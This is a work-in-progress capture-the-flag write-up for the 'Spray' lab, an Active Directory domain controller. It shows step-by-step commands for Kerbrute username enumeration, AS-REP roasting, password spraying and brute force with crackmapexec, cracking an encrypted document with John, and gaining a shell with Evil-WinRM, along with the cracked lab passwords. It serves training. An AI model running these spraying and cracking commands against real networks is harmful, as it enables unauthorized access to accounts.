---
description: https://www.cyberseclabs.co.uk/labs/info/Spray/
---

# Spray (WIP)

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-0fcb3a6b5013914f57534ba2010d3019e53245cc%2Fimage.png?alt=media)

## Nmap

```
sudo nmap 172.31.3.9 -sS -p- -sC

Not shown: 65513 filtered ports
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
| rdp-ntlm-info: 
|   Target_Name: SPRAY
|   NetBIOS_Domain_Name: SPRAY
|   NetBIOS_Computer_Name: SPRAY-DC
|   DNS_Domain_Name: spray.csl
|   DNS_Computer_Name: Spray-DC.spray.csl
|   DNS_Tree_Name: spray.csl
|   Product_Version: 10.0.17763
|_  System_Time: 2020-12-19T20:51:44+00:00
| ssl-cert: Subject: commonName=Spray-DC.spray.csl
| Not valid before: 2020-09-09T15:27:45
|_Not valid after:  2021-03-11T15:27:45
|_ssl-date: 2020-12-19T20:51:44+00:00; -3s from scanner time.                                                                                                                                                                              
5985/tcp  open  wsman                                                                                                                                                                                                                      
9389/tcp  open  adws                                                                                                                                                                                                                       
49667/tcp open  unknown                                                                                                                                                                                                                    
49669/tcp open  unknown                                                                                                                                                                                                                    
49670/tcp open  unknown                                                                                                                                                                                                                    
49675/tcp open  unknown                                                                                                                                                                                                                    
49676/tcp open  unknown                                                                                                                                                                                                                    
49679/tcp open  unknown                                                                                                                                                                                                                    
49696/tcp open  unknown                                                                                                                                                                                                                    
49703/tcp open  unknown                                                                                                                                                                                                                    
                                                                                                                                                                                                                                           
Host script results:                                                                                                                                                                                                                       
|_clock-skew: mean: -3s, deviation: 0s, median: -3s                                                                                                                                                                                        
|_nbstat: NetBIOS name: SPRAY-DC, NetBIOS user: <unknown>, NetBIOS MAC: 02:5c:13:73:3d:18 (unknown)                                                                                                                                        
| smb2-security-mode:                                                                                                                                                                                                                      
|   2.02:                                                                                                                                                                                                                                  
|_    Message signing enabled and required                                                                                                                                                                                                 
| smb2-time:                                                                                                                                                                                                                               
|   date: 2020-12-19T20:51:44
|_  start_date: N/A
```

## SMB

A standard quick check with null authentication using smbclient and crackmapexec produces no viable vectors to follow.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-e7723b99ff0db5cb575ed6370112ac4ed7be2bf3%2Fimage.png?alt=media)

## Kerberos

As Kerberos is open on port 88 we can try to enumerate some usernames with Kerbrute. We have a domain name from Nmap when port 3389 was enumerated.

```
kerbrute userenum /usr/share/seclists/Usernames/Names/names.txt -d spray.csl --dc 172.31.3.9
```

This only returns one result which was for the user 'calvin'.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-b59afa5d06d10123c07ead639672ff388e35d80b%2Fimage.png?alt=media)

I decided at this point to try a bigger wordlist as I normally would not expect to pull one name from an Active Directory server.

```
kerbrute userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -d spray.csl --dc 172.31.3.9
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-304afd244d222ab312e994fe90d7fa0eec424ff9%2Fimage.png?alt=media)

Better results this time. Lets put them in a text file and Kerberoast them using Impacket's GetNPUsers.py script.

```
python2 GetNPUsers.py spray.csl/ -request -usersfile /home/kali/spray/users.txt  -dc-ip 172.31.3.9
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-c27d59148bffc4f7279587c4cc1bf657c9bfd805%2Fimage.png?alt=media)

None of the users are Kerberoastable. Looking at our nmap results we can try password spraying against the list of users against SMB and WinRM.

We can use crackmapexec to kick off multiple instances of bruteforcing against our known users account. I will start with SMB to see if we get a hit.

```
crackmapexec smb 172.31.3.9 -u freedy -p /usr/share/wordlists/rockyou.txt
crackmapexec smb 172.31.3.9 -u calvin -p /usr/share/wordlists/rockyou.txt
crackmapexec smb 172.31.3.9 -u johana -p /usr/share/wordlists/rockyou.txt
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-4cb97fbbcef15cd3c3d19d3f2788864ac327712c%2Fimage.png?alt=media)

After a short while we get a hit from johana:johana

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-59a02e3d4f5daddb6b4745d630fa5e0532235e54%2Fimage.png?alt=media)

We can check what access we get with smbclient.

```
smbclient -U johana -L \\\\172.31.3.9
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-81427f687d570afa172eff89fef5c81bb416e9eb%2Fimage.png?alt=media)

```
smbclient -U johana \\\\172.31.3.9\\spray
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-1d843a96c143b4e009de8116fa4d307b9a353d2a%2Fimage.png?alt=media)

I was unable to open the document due to encryption. We can confirm this with the `file` command.

```
kali@kali:~$ file Important\ Note.docx 

Important Note.docx: CDFV2 Encrypted
```

Kali comes installed with a Python script called office2john.py. We can use this to convert the document to a hash in which we can attempt to crack the encryption password.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-d8466597c28526798ce38c0b8e6e0030e0a8475e%2Fimage.png?alt=media)

With the hash stored in a file we can run this against John and attempt to crack it with the rockyou.txt wordlist.

```
sudo john --wordlist=/usr/share/wordlists/rockyou.txt /home/kali/spray/hash
```

After cracking we get the password '181818'. I was then able to open the document with LibreOffice on Kali.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-78b60ef115d41dc3d9aaa46af13fe1f60b4c8474%2Fimage.png?alt=media)

We can try spraying this password with our user list against SMB and WinRM with crackmapexec. Before we try crackmapexec lets check if Kylesir gets a hit on Kerbrute.

```
kerbrute userenum <usersfile> -d spray.csl --dc 172.31.3.9
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-d518f9210696547b06858ec99439820b97c2df79%2Fimage.png?alt=media)

We can check our new users against Impackets GetNPusers.py.

```
python2 GetNPUsers.py spray.csl/ -request -usersfile <userfile>  -dc-ip 172.31.3.9
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-2950fdbf6d6f1b1ec24457ef550b0ded2051e2db%2Fimage.png?alt=media)

Nothing here unfortunately. Lets try crackmapexec.

```
crackmapexec smb 172.31.3.9 -u <usersfile>  -p Spray.csl1337 --continue-on-success
crackmapexec winrm 172.31.3.9 -u <usersfile>  -p Spray.csl1337 --continue-on-success
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-1445938d51137dc28aee0086c8a45f5f70addf9b%2Fimage.png?alt=media)

Looks like we are not getting any hits with our new password and our new user. Looking at our initial Nmap results we still have RPC to try.

I ended up trying our known working credentials of johana:johana and was able to access RPC.

```
rpcclient -U johana 172.31.3.9
```

From here I was able to the `enumdomusers` command and we are able to see an extra users we have not come across yet.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-db74623f7ca17e9d63020993256e7268efb00af5%2Fimage.png?alt=media)

Lets try the new user hackzzdogs against SMB and WinRM.

```
crackmapexec smb 172.31.3.9 -u hackzzdogs -p Spray.csl1337
crackmapexec winrm 172.31.3.9 -u hackzzdogs -p Spray.csl1337
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-a3b84c085482301d16676045febb272ea7017a71%2Fimage.png?alt=media)

Great, we have a valid hit. Lets use these credentials with Evil-WinRM.

```
evil-winrm -u hackzzdogs -p Spray.csl1337 -i 172.31.3.9
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-9e33aae6f14c0f0ad54add184972954f9acf5996%2Fimage.png?alt=media)
